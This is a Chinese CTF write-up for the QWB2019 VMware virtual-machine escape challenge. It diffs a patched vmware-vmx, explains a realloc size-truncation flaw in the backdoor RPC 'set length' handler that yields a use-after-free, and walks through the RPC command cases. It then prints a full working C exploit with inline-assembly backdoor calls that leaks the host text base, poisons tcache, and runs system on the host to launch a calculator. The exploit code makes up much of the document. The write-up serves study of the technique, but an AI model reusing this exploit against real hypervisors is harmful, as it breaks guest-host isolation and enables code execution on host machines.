QWB2019 VMw虚拟机逃逸wp

robots

 

0x00前言

​ 近期学习利用Vmware的backdoor机制进行虚拟机逃逸的攻击手法,借助RWCTF2018 station-excape的相关资料学习了解,以及在其exp的基础上进行调试修改,实现了QWB2019 VMw的虚拟机逃逸,第一次做这方面的工作,以此博客记录一下逆向、调试过程中的收获。
​ 相关资料链接贴在前面:r3kapig有关RWCTF2018 station-excape的详细wp,其中也有关于backdoor机制的详细介绍,膜一波大佬们。

 

0x01题目分析

文件

​ 以我所了解到的,一般虚拟机逃逸类的题目都会给以个虚拟机环境(没错就是虚拟机套虚拟机),然后给一个patch过的组件,本题就是vmware-vmx-patched。
​ 用010editor进行比对。比对结果如下。

​ 发现patch后的组件与原版本的组件有三处区别。IDA打开后,跳转到三处地址查看改动。第一处改动将jz改为jmp无条件跳转。

​ 第二处将跳转条件由ja改为jnb。即大于改为大于等于。

​ 第三处将realloc传参时size由dword改为word,即四字节变为两字节。

​ 分析到这里就感觉这是关键漏洞点了,realloc(ptr,size)函数当size为0时功能相当于free(ptr)。再看一下伪代码。

​ 这段代码在处理 Send_RPC_command_length 过程中,在发送 RPC_Command 前会先发送 RPC commad 的长度,接收size值后,会先判断是否大于0x10000,然后判断是否大于RPCI结构体中记录的size,注意这些比较都时以四字节int的比较,但是在给 realloc 传参数的时候却以word,即两字节传入,会导致一个问题是,如果发送的size=0xffff,可以通过第一步size<=0x10000检查,并且在 realloc 传参时,LOWORD(v31)= (0xffff+1) & 0xffff ,即 v31=0

分析到这里,攻击思路如下,先Send_RPC_command_length 设置一个size,然后 Send_RPC_command_length,size=0xffff ,即将前面申请的堆块释放,并且指针残留在了RPCI结构体中,造成UAF的可能。

IDA静态分析

​ Vmx可执行文件中处理rpc指令的函数为下图函数,地址为0x189370

​ 其中的符号为我手动添加。其中的getrpccap函数功能为获取rpc通信数据包,、根据参数不同获取rpc数据包中内容、大小等属性该函数共有六个case,与rpc六个指令一一对应:

Case 0,open channel:

该功能比较简短,读取了发来的rpc包里的magicnumber

然后在后面进行了cookie的设置和时间的设置

Case 01 set len

​ 该指令的内容部分对应的是长度,长度在接受包的时候就已经经过处理,如果超长会直接处理成-1,但后面也有个比较,推测这里是开发人员在扩展开发时未删减的部分。同时,在最开始会有个对fe9584处标志位的判断,推测为包内容错误的判断标志位,若内容接受出错则直接结束。下面有个对设置长度和现有长度的判断,若接受长度比现有长度小就会调用注册的函数表中错误处理的部分。比现有长度大则会进入空间扩展,会调用realloc进行堆操作,修改rpc结构中的数据缓冲区指针。

Case 02 send data

​ 该case开头先调用函数获取了命令包的内容,v21参数里面存的就是发送的内容,内容一次最多四字节,v22里面是打开的channel的命令数据缓冲区,后面会判断chanell的状态,如果不是待读取状态是不会开始读取的。读取时会根据发送时指定的长度来进行复制。

​ 可以看到把我们发送的四个字节指令(在rbp中)复制到了rdx指向的地址中

​ 复制完后会把rpc结构体的一个代表未接收长度的属性减去接收的值,如果已经接收完了,会根据一个类似虚表的东西来调用对应的命令处理函数,然后把rpc状态修改为1。

​ 该函数的参数为指令本身以及指令长度,寻址方式为将命令与存在表中的字符串比较,找到对应的处理函数,调用以进行处理

安装函数的函数为下面这个,地址为0x114866

​ 存储字符串指针的表位置为0x111df80,存储函数的位置也在附近,不过寻址方式不太一样。存储区域比较大。在执行指令时,会申请一个0x20大小的堆

​ 寻址函数地址为0x177d61

Case 03 reply length

​ 该case 功能为发送给客户机返回数据的长度

​ 功能也比较简单,得到对应channel 的执政,判断是否为接受完数据的状态,然后设置发送长度和发送数据缓冲区

Case 04 reply data

​ 这个功能为发送执行指令后的返回数据

​ 开头也是获得channel指针,然后设置channel的发送缓冲区和发送长度,一次同样只能发送四字节,如果最后不够就会发送剩余长度的数据

​ 最后会把rpc的状态修改为发送完毕

Case 05 finish receive reply

​ 该功能为结束接受返回信息。读取rpc指针,判断是否为发送完毕状态,然后会设置状态为1,完成状态闭环,出错的时候会有错误处理,输出错误提示

Case 06 close channel

​ 该功能为关闭channel,获取rpc指针后判断其数据区指针是否为空,为空说明它非开启状态,不为空就调用函数进行关闭处理。

小结

​ 这部分分析是为了理清backdoor机制中host与guest的交互机制,尤其是涉及到内存分配与回收操作的部分,以及patch部分代码要尤其关注,漏洞点一定是在patch代码附近,以本样本为例,主要部分为 case 01 set len ,尤其注意 realoc() 函数。

 

0x02 EXP编写

leak

​ 经过静态分析和调试的验证,仿照Real World CTF 2018 Finals Station-Escape的思路编写EXP。

​ 首先分析本次逃逸的漏洞点与先前的区别,Rwctf的逃逸样本UAF发生在output申请到的堆块,即info-set guestinfo.a xxx,在调用info-get是会申请对应xxx大小的堆块作为缓冲区存放xxx内容,而QWB的逃逸样本漏洞点出在Send RPC command length中申请的堆块。

​ 所以leak基地址思路与rwctf类似。使用run_cmd(info-set guestinfo.a xxx),预设一个0x100的guestinfo.a。

​ 打开一个channel_0,先通过Send RPC command length申请一个0x100大小的堆块。

​ 然后打开channel_1,发送info-get guestinfo.a 命令,这里有一个小tip,Send RPC command data 时每次发送四个字节,并且在接收完完整的command后才会执行命令,为了防止Send RPC command data 的过程中有其他堆操作影响漏洞利用,先send command的前strlen(command)- 4个字节,然后channel_0发送Send RPC command length,设置size为0xffff,释放掉channel_0中申请的0x100堆块到tcache[0x110]的头。

​ 发送完info-get guestinfo.a 命令后,会malloc(strlen(guestinfo.a)),作为output缓冲区,因为此时tcache[0x110]头是我们刚刚释放的channel_0的command块,会将该块分配出来作为输出缓冲区,但是 channel_0_struct_RPCI->heap_ptr 中仍保存了堆指针,此时 guestinfo.a = channel_0_struct_RPCI->heap_ptr

​ 然后下一步就是与rwctf相同的思路,再次释放该堆块到tcache[0x110]头,利用 vmx.capability.dnd_version ,将obj申请到guestinfo.a的output缓冲区,利用obj中的vtable泄露testbase。

exploit

​ 利用过程同样类似,打开channel_0的用来申请一个size0的堆块,释放后用channel_1申请回来,然后channel_0再次释放,造成UAF,利用channel_1来写入数据,修改tcache的fd,造成任意地址写,channel_2申请一次,channel_3申请到伪造fd处。

​ 那么如何伪造fd。调试中发现,在 后,会 call [r8+rax*1+0x8] ,并且第一个参数 rdi = [rdi+rax]

Rdi与r8寄存器中地址相近,rax=0,那么如果将fd伪造到r8处,在r8+8处写入system地址,rdi处写入 gnome-calculator\x00 即可弹出计算器。

最后效果演示:(妈妈我也会弹计算器了!)

 

完整exp

#include <stdio.h>
#include <stdint.h>
void channel_open(int *cookie1,int *cookie2,int *channel_num,int *res){
    asm("movl %%eax,%%ebx\n\t"
        "movq %%rdi,%%r10\n\t"
        "movq %%rsi,%%r11\n\t"
        "movq %%rdx,%%r12\n\t"
        "movq %%rcx,%%r13\n\t"
        "movl $0x564d5868,%%eax\n\t"
        "movl $0x49435052,%%ebx\n\t"
        "movl $0x1e,%%ecx\n\t"
        "movl $0x5658,%%edx\n\t"
        "out %%eax,%%dx\n\t"
        "movl %%edi,(%%r10)\n\t"
        "movl %%esi,(%%r11)\n\t"
        "movl %%edx,(%%r12)\n\t"
        "movl %%ecx,(%%r13)\n\t"
        :
        :
        :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r8","%r10","%r11","%r12","%r13"
       );
}

void channel_set_len(int cookie1,int cookie2,int channel_num,int len,int *res){
    asm("movl %%eax,%%ebx\n\t"
        "movq %%r8,%%r10\n\t"
        "movl %%ecx,%%ebx\n\t"
        "movl $0x564d5868,%%eax\n\t"
        "movl $0x0001001e,%%ecx\n\t"
        "movw $0x5658,%%dx\n\t"
        "out %%eax,%%dx\n\t"
        "movl %%ecx,(%%r10)\n\t"
        :
        :
        :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10"
       );
}

void channel_send_data(int cookie1,int cookie2,int channel_num,int len,char *data,int *res){
    asm("pushq %%rbp\n\t"
        "movq %%r9,%%r10\n\t"
        "movq %%r8,%%rbp\n\t"
        "movq %%rcx,%%r11\n\t"
        "movq $0,%%r12\n\t"
        "1:\n\t"
        "movq %%r8,%%rbp\n\t"
        "add %%r12,%%rbp\n\t"
        "movl (%%rbp),%%ebx\n\t"
        "movl $0x564d5868,%%eax\n\t"
        "movl $0x0002001e,%%ecx\n\t"
        "movw $0x5658,%%dx\n\t"
        "out %%eax,%%dx\n\t"
        "addq $4,%%r12\n\t"
        "cmpq %%r12,%%r11\n\t"
        "ja 1b\n\t"
        "movl %%ecx,(%%r10)\n\t"
        "popq %%rbp\n\t"
        :
        :
        :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10","%r11","%r12"
        );
}

void channel_recv_reply_len(int cookie1,int cookie2,int channel_num,int *len,int *res){
    asm("movl %%eax,%%ebx\n\t"
        "movq %%r8,%%r10\n\t"
        "movq %%rcx,%%r11\n\t"
        "movl $0x564d5868,%%eax\n\t"
        "movl $0x0003001e,%%ecx\n\t"
        "movw $0x5658,%%dx\n\t"
        "out %%eax,%%dx\n\t"
        "movl %%ecx,(%%r10)\n\t"
        "movl %%ebx,(%%r11)\n\t"
        :
        :
        :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10","%r11"
       );

}

void channel_recv_data(int cookie1,int cookie2,int channel_num,int offset,char *data,int *res){
    asm("pushq %%rbp\n\t"
        "movq %%r9,%%r10\n\t"
        "movq %%r8,%%rbp\n\t"
        "movq %%rcx,%%r11\n\t"
        "movq $1,%%rbx\n\t"
        "movl $0x564d5868,%%eax\n\t"
        "movl $0x0004001e,%%ecx\n\t"
        "movw $0x5658,%%dx\n\t"
        "in %%dx,%%eax\n\t"
        "add %%r11,%%rbp\n\t"
        "movl %%ebx,(%%rbp)\n\t"
        "movl %%ecx,(%%r10)\n\t"
        "popq %%rbp\n\t"
        :
        :
        :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10","%r11","%r12"
       );
}

void channel_recv_finish(int cookie1,int cookie2,int channel_num,int *res){
    asm("movl %%eax,%%ebx\n\t"
        "movq %%rcx,%%r10\n\t"
        "movq $0x1,%%rbx\n\t"
        "movl $0x564d5868,%%eax\n\t"
        "movl $0x0005001e,%%ecx\n\t"
        "movw $0x5658,%%dx\n\t"
        "out %%eax,%%dx\n\t"
        "movl %%ecx,(%%r10)\n\t"
        :
        :
        :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10"
       );
}
void channel_recv_finish2(int cookie1,int cookie2,int channel_num,int *res){
    asm("movl %%eax,%%ebx\n\t"
        "movq %%rcx,%%r10\n\t"
        "movq $0x21,%%rbx\n\t"
        "movl $0x564d5868,%%eax\n\t"
        "movl $0x0005001e,%%ecx\n\t"
        "movw $0x5658,%%dx\n\t"
        "out %%eax,%%dx\n\t"
        "movl %%ecx,(%%r10)\n\t"
        :
        :
        :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10"
       );
}
void channel_close(int cookie1,int cookie2,int channel_num,int *res){
    asm("movl %%eax,%%ebx\n\t"
        "movq %%rcx,%%r10\n\t"
        "movl $0x564d5868,%%eax\n\t"
        "movl $0x0006001e,%%ecx\n\t"
        "movw $0x5658,%%dx\n\t"
        "out %%eax,%%dx\n\t"
        "movl %%ecx,(%%r10)\n\t"
        :
        :
        :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10"
       );
}
struct channel{
    int cookie1;
    int cookie2;
    int num;
};
uint64_t heap =0;
uint64_t text =0;
void run_cmd(char *cmd){
    struct channel tmp;
    int res,len,i;
    char *data;
    channel_open(&tmp.cookie1,&tmp.cookie2,&tmp.num,&res);
    if(!res){
        printf("fail to open channel!\n");
        return;
    }
    channel_set_len(tmp.cookie1,tmp.cookie2,tmp.num,strlen(cmd),&res);
    if(!res){
        printf("fail to set len\n");
        return;
    }
    channel_send_data(tmp.cookie1,tmp.cookie2,tmp.num,strlen(cmd)+0x10,cmd,&res);

    channel_recv_reply_len(tmp.cookie1,tmp.cookie2,tmp.num,&len,&res);
    if(!res){
        printf("fail to recv data len\n");
        return;
    }
    printf("recv len:%d\n",len);
    data = malloc(len+0x10);
    memset(data,0,len+0x10);
    for(i=0;i<len+0x10;i+=4){
        channel_recv_data(tmp.cookie1,tmp.cookie2,tmp.num,i,data,&res);
    }
    printf("recv data:%s\n",data);
    channel_recv_finish(tmp.cookie1,tmp.cookie2,tmp.num,&res);
    if(!res){
        printf("fail to recv finish\n");
    }

    channel_close(tmp.cookie1,tmp.cookie2,tmp.num,&res);
    if(!res){
        printf("fail to close channel\n");
        return;
    }
}
void leak(){
    struct channel chan[10];
    int res=0;
    int len,i;    
    char pay[8192];
    char *s1 = "info-set guestinfo.a AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
    char *data;
    char *s2 = "info-get guestinfo.a";
    char *s21= "info-get guestinfo.a AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
    char *s3 = "1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
    char *s4 = "tools.capability.dnd_version 4";
    char *s5 = "vmx.capability.dnd_version";
    //init data
    run_cmd(s1); // set the message len to be 0x100, so when we call info-get ,we will call malloc(0x100);
    run_cmd(s4);


    //first step 
    channel_open(&chan[0].cookie1,&chan[0].cookie2,&chan[0].num,&res);
    if(!res){
        printf("fail to open channel!\n");
        return;
    }
    channel_set_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,strlen(s21),&res);//strlen(s21) = 0x100
    if(!res){
        printf("fail to set len\n");
        return;
    }
    channel_send_data(chan[0].cookie1,chan[0].cookie2,chan[0].num,strlen(s21),s2,&res);
    channel_recv_reply_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,&len,&res);
    if(!res){
        printf("fail to recv data len\n");
        return;
    }
    printf("recv len:%d\n",len);
    data = malloc(len+0x10);
    memset(data,0,len+0x10);
    for(i=0;i<len+0x10;i++){
        channel_recv_data(chan[0].cookie1,chan[0].cookie2,chan[0].num,i,data,&res);
    }
    printf("recv data:%s\n",data);
    //second step free the reply and let the other channel get it.

    channel_open(&chan[1].cookie1,&chan[1].cookie2,&chan[1].num,&res);
    if(!res){
        printf("fail to open channel!\n");
        return;
    }
    channel_set_len(chan[1].cookie1,chan[1].cookie2,chan[1].num,strlen(s2),&res);
    if(!res){
        printf("fail to set len\n");
        return;
    }

    channel_send_data(chan[1].cookie1,chan[1].cookie2,chan[1].num,strlen(s2)-4,s2,&res);
    if(!res){
        printf("fail to send data\n");
        return;
    }

    //free the output buffer
    printf("Freeing the buffer....,bp:0x5555556DD3EF\n");
    getchar();
    channel_set_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,0xffff,&res);
    if(!res){
        printf("fail to recv finish1\n");
        return;
    }
    //finished sending the command, should get the freed buffer
    printf("Finishing sending the buffer , should allocate the buffer..,bp:0x5555556DD5BC\n");
    channel_send_data(chan[1].cookie1,chan[1].cookie2,chan[1].num,4,&s2[16],&res);
    if(!res){
        printf("fail to send data\n");
        return;
    }

    //third step,free it again
    //set status to be 4


    //free the output buffer
    printf("Free the buffer again...\n");
    getchar();
    channel_set_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,0xffff,&res);

    if(!res){
        printf("fail to recv finish2\n");
        return;
    }

    printf("Trying to reuse the buffer as a struct, which we can leak..\n");
    getchar();
    run_cmd(s5);
    printf("Should be done.Check the buffer\n");
    getchar();

    //Now the output buffer of chan[1] is used as a struct, which contains many addresses
    channel_recv_reply_len(chan[1].cookie1,chan[1].cookie2,chan[1].num,&len,&res);
    if(!res){
        printf("fail to recv data len\n");
        return;
    }


    data = malloc(len+0x10);
    memset(data,0,len+0x10);
    for(i=0;i<len+0x10;i+=4){
        channel_recv_data(chan[1].cookie1,chan[1].cookie2,chan[1].num,i,data,&res);
    }
    printf("recv data:\n");
    for(i=0;i<len;i+=8){
        printf("recv data:%lx\n",*(long long *)&data[i]);
    }
    text = (*(uint64_t *)data)-0xf818d0;
    channel_recv_finish(chan[0].cookie1,chan[0].cookie2,chan[0].num,&res);
    printf("Leak Success\n");
}

void exploit(){
    //the exploit step is almost the same as the leak ones
    struct channel chan[10];
    int res=0;
    int len,i;
    char *data;
    char *s1 = "info-set guestinfo.b BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB";
    char *s2 = "info-get guestinfo.b";
    char *s3 = "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB";
    char *s4 = "gnome-calculator\x00";
    uint64_t pay1 =text+0xFE95B8; 
    uint64_t pay2 =text+0xECFE0; //system
    uint64_t pay3 =text+0xFE95C8;
    char *pay4 = "gnome-calculator\x00";
    //run_cmd(s1);
    channel_open(&chan[0].cookie1,&chan[0].cookie2,&chan[0].num,&res);
    if(!res){
        printf("fail to open channel!\n");
        return;
    }
    channel_set_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,strlen(s1),&res);
    if(!res){
        printf("fail to set len\n");
        return;
    }
    channel_send_data(chan[0].cookie1,chan[0].cookie2,chan[0].num,strlen(s1),s1,&res);
    channel_recv_reply_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,&len,&res);
    if(!res){
        printf("fail to recv data len\n");
        return;
    }
    printf("recv len:%d\n",len);
    data = malloc(len+0x10);
    memset(data,0,len+0x10);
    for(i=0;i<len+0x10;i+=4){
        channel_recv_data(chan[0].cookie1,chan[0].cookie2,chan[0].num,i,data,&res);
    }
    printf("recv data:%s\n",data);
    channel_open(&chan[1].cookie1,&chan[1].cookie2,&chan[1].num,&res);
    if(!res){
        printf("fail to open channel!\n");
        return;
    }
    channel_open(&chan[2].cookie1,&chan[2].cookie2,&chan[2].num,&res);
    if(!res){
        printf("fail to open channel!\n");
        return;
    }
    channel_open(&chan[3].cookie1,&chan[3].cookie2,&chan[3].num,&res);
    if(!res){
        printf("fail to open channel!\n");
        return;
    }
    //channel_recv_finish2(chan[0].cookie1,chan[0].cookie2,chan[0].num,&res);
    channel_set_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,0xffff,&res);
    if(!res){
        printf("fail to recv finish2\n");
        return;
    }
    channel_set_len(chan[1].cookie1,chan[1].cookie2,chan[1].num,strlen(s3),&res);
    if(!res){
        printf("fail to set len\n");
        return;
    }
    printf("leak2 success\n");
    /***
    channel_recv_reply_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,&len,&res);
    if(!res){
        printf("fail to recv data len\n");
        return;
    }
    ***/
    //channel_recv_finish2(chan[0].cookie1,chan[0].cookie2,chan[0].num,&res);
    channel_set_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,0xffff,&res);
    if(!res){
        printf("fail to recv finish2\n");
        return;
    }
    channel_send_data(chan[1].cookie1,chan[1].cookie2,chan[1].num,8,&pay1,&res);
    channel_set_len(chan[2].cookie1,chan[2].cookie2,chan[2].num,strlen(s3),&res);
    if(!res){
        printf("fail to set len\n");
        return;
    }
    channel_set_len(chan[3].cookie1,chan[3].cookie2,chan[3].num,strlen(s3),&res);
    channel_send_data(chan[3].cookie1,chan[3].cookie2,chan[3].num,8,&pay2,&res);
    channel_send_data(chan[3].cookie1,chan[3].cookie2,chan[3].num,8,&pay3,&res);
    channel_send_data(chan[3].cookie1,chan[3].cookie2,chan[3].num,strlen(pay4)+1,pay4,&res);
    run_cmd(s4);
    if(!res){
        printf("fail to set len\n");
        return;
    }
}
void main(){
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    setvbuf(stdin,0,2,0);
    leak();
    printf("text base :%p",text);
    getchar();
    exploit();
}

 

tips

​ 在调试的时候会遇到一个问题:如果直接在被攻击机编译运行exp,运行到断点处会卡死,导致鼠标没法从虚拟机中拖出来。所以可以ssh连接到被攻击机,远程运行exp避免这个问题;或者可以在exp中加一行sleep防止卡在虚拟机里。
​ 另外调试时最好将虚拟机最小化,防止不小心把鼠标点到虚拟主机中卡死。

 

总结

​ 第一次调试虚拟机逃逸的题目,逆向分析的过程花了很大一部分时间,最后编写EXP、调试的过程大部分工作都是仿照Real World CTF 2018 Finals Station-Escape进行,最后成功弹出计算器还是有些小激动的,也算是对利用backdoor这个攻击面的第一次尝试,收获很多。

(完)